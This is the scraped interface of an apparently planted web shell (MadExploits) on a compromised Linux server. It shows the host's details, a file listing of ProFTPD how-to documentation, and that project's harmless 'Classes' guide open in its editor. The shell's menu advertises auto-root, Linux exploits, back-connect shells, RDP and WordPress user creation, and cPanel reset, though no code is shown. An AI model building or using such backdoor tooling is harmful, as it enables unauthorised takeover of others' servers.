Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
proftpd /
howto /
[ HOME SHELL ]
Name
Size
Permission
Action
ASCII.html
3.71
KB
-rw-r--r--
AWS.html
26.05
KB
-rw-r--r--
AuthFiles.html
9.54
KB
-rw-r--r--
Authentication.html
15.32
KB
-rw-r--r--
BCP.html
13.7
KB
-rw-r--r--
Chroot.html
14.27
KB
-rw-r--r--
Classes.html
5.92
KB
-rw-r--r--
Compiling.html
34.11
KB
-rw-r--r--
ConfigFile.html
16.47
KB
-rw-r--r--
ConfigurationTricks.html
16.54
KB
-rw-r--r--
ConnectionACLs.html
6.84
KB
-rw-r--r--
Controls.html
11.95
KB
-rw-r--r--
CreateHome.html
7.79
KB
-rw-r--r--
DNS.html
6.92
KB
-rw-r--r--
DSO.html
14.9
KB
-rw-r--r--
Debugging.html
12.47
KB
-rw-r--r--
Directory.html
10.89
KB
-rw-r--r--
DisplayFiles.html
6.69
KB
-rw-r--r--
ECCN.html
4.73
KB
-rw-r--r--
FTP.html
16.09
KB
-rw-r--r--
FXP.html
5.57
KB
-rw-r--r--
Filters.html
7.93
KB
-rw-r--r--
Globbing.html
5.53
KB
-rw-r--r--
KeepAlives.html
19.68
KB
-rw-r--r--
Limit.html
15.08
KB
-rw-r--r--
ListOptions.html
6.18
KB
-rw-r--r--
LogLevels.html
5.08
KB
-rw-r--r--
LogMessages.html
14.89
KB
-rw-r--r--
Logging.html
22.37
KB
-rw-r--r--
Memcache.html
9.04
KB
-rw-r--r--
NAT.html
11.15
KB
-rw-r--r--
Nonroot.html
4.23
KB
-rw-r--r--
Quotas.html
17.17
KB
-rw-r--r--
Radius.html
17.35
KB
-rw-r--r--
Redis.html
8.53
KB
-rw-r--r--
Regex.html
22.23
KB
-rw-r--r--
Rewrite.html
16.8
KB
-rw-r--r--
SQL.html
40.55
KB
-rw-r--r--
SSH.html
5.14
KB
-rw-r--r--
Scoreboard.html
9.11
KB
-rw-r--r--
Sendfile.html
7.34
KB
-rw-r--r--
ServerType.html
10.45
KB
-rw-r--r--
Stopping.html
10.31
KB
-rw-r--r--
TLS.html
58.93
KB
-rw-r--r--
Testing.html
8.73
KB
-rw-r--r--
Timestamps.html
6.71
KB
-rw-r--r--
Tracing.html
8.68
KB
-rw-r--r--
Translations.html
3.52
KB
-rw-r--r--
Umask.html
9.16
KB
-rw-r--r--
Upgrade.html
2.14
KB
-rw-r--r--
Versioning.html
5.41
KB
-rw-r--r--
Vhost.html
11.55
KB
-rw-r--r--
VirtualUsers.html
8.8
KB
-rw-r--r--
ftpaccess.html
2.03
KB
-rw-r--r--
index.html
10.45
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Classes.html
<!DOCTYPE html> <html> <head> <title>ProFTPD: Classes</title> </head> <body bgcolor=white> <hr> <center><h2><b>ProFTPD: Classes</b></h2></center> <hr> <p> <b>What are Classes?</b><br> When configuring <code>proftpd</code>, it is sometimes nice, or even necessary, to tag or label a client as belonging to some group, based on that client's IP address or DNS hostname. A "class" is the name for such connection-based groupings in ProFTPD terms. A class is defined to have a <em>name</em>, and as having certain criteria such as IP addresses, IP subnets/masks, and DNS hostnames. A client that connects to the daemon that has matching characteristics is then labeled as belonging to that class. <b>Note</b> that a connecting client can belong to only <b>one</b> class; see the description below for how the winning class is selected for a session from among multiple possible matches. <p> <b>How are Classes Defined?</b><br> To define a class, use a <code><Class></code> section in your <code>proftpd.conf</code>: <pre> <Class internal> From 192.168.0.0/16 </Class> </pre> This defines a class named "internal"; any client connecting from 192.168.0.0/16 will belong to this class. And if you wanted to define a class for all clients not connecting from 192.168.0.0/16 address space: <pre> <Class external> From !192.168.0.0/16 </Class> </pre> A more complicated class might include matching DNS names as well: <pre> <Class test> From 1.2.3.4 From proxy.*.com From my.example.com From 5.6.7.8 </Class> </pre> This "test" class will then be used for a client with any of the defined characteristics. <p> Note that if your class rules use only DNS names, and <code>proftpd</code> is unable to resolve the IP address of a client to a DNS name, that class may not be matched as you might expect. This can be seen in the server debugging output, at level 10, as something like: <pre> comparing DNS name '1.2.3.4' to pattern 'proxy.*.com' </pre> Here you see the 1.2.3.4 IP address, where a DNS name should be. In order for DNS name based class rules to function properly, both a) DNS resolution is needed (<i>i.e.</i> <code>UseReverseDNS</code> must be <em>on</em>, which is the default), and b) the IP address of a connecting client must be resolvable to a DNS name. <p> What if there are multiple classes defined, and the classes overlap, <i>e.g.</i> two classes both have: <pre> From *.example.com </pre> Which one will be used for the connecting client? This will depend on the order in which classes are defined in the <code>proftpd.conf</code> file. When searching the list of classes for the one that matches the client, <code>proftpd</code> checks each class in the order in which they are defined. The first class definition (in order of appearance in <code>proftpd.conf</code>) that matches is used. <p> How do you define a class that includes all clients from a certain domain <b>except</b> one specific host in that domain? To define a class with these sorts of characteristics, use the <code>Satisfy</code> configuration directive: <pre> <Class foo> From *.example.com From !bad.example.com Satisfy all </Class> </pre> <p> <b>Using <code>Satisfy</code></b><br> The <code>Satisfy</code> directive, when used within a <code><Class></code> section, indicates whether <i>any</i> of the <code>From</code> rules in the section need to match, or whether <i>all</i> of the <code>From</code> rules in the section need to match. The default <code>Satisfy</code> setting for a <code><Class></code> section is "any". <p> To illustrate, the following class definition will never match: <pre> <Class impossible> From 127.0.0.1 From !127.0.0.1 Satisfy all </Class> </pre> It is impossible to both an address and <b>not</b> match that same address, but that is what is demanded by the "Satisfy all" setting in the above class definition. <p> Now, where the use of "Satisfy all" comes in handy is when you have a general rule with exceptions: <pre> <Class customers> From .domain.com From !host1.domain.com !host2.domain.com Satisfy all </Class> </pre> Specifically, the use of "Satisfy all" is necessary when you have multiple <i>not</i> matches (<i>i.e.</i> using the <code>!</code> prefix), <i>all</i> of which need to be evaluated. <p> <b>How are Classes Used?</b><br> By itself, a class does nothing. It is merely a way to define a set of clients and to give that set a name. Once that name is defined, though, it can be use as part of your configuration. There are a limited number of configuration directives that make use of classes directly: <ul> <li><code>AllowClass</code> <li><code>DenyClass</code> <li><code>DisplayGoAway</code> <li><code>MaxClientsPerClass</code> </ul> The <code>AllowClass</code> and <code>DenyClass</code> directives are the main directives to use, for example in <code><Limit></code> sections: <pre> <Limit ALL> AllowClass internal DenyAll </Limit> </pre> <p> The <a href="../contrib/mod_ifsession.html"><code>mod_ifsession</code></a> module also makes use of classes with its <code><IfClass></code> configuration section. Using classes and <code>mod_ifsession</code>, you can write a <code>proftpd.conf</code> that has specific configurations for specific classes of clients. Here's an example snippet demonstrating use of <code><IfClass></code>: <pre> <IfClass internal> MaxClients 100 </IfClass> <IfClass !internal> MaxClients 25 </IfClass> </pre> This allows clients from class "internal" to see an effective <code>MaxClients</code> limit of 100 simultaneous clients, and clients <b>not</b> in class "internal" to see an effective limit of only 25. <p> <hr> <font size=2><b><i> © Copyright 2017 The ProFTPD Project<br> All Rights Reserved<br> </i></b></font> <hr> </body> </html>
Close